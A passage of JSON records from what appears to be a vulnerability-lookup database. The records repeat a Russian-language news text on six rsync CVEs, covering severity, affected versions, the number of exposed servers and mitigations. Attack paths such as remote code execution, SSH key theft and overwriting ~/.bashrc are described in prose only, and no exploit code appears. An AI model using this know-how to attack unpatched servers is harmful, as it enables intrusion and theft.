\u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "0e29ea54-bfa4-43e2-92c1-e49077dcacf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "26a5ece4-e501-4517-b74a-de9104babf3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e 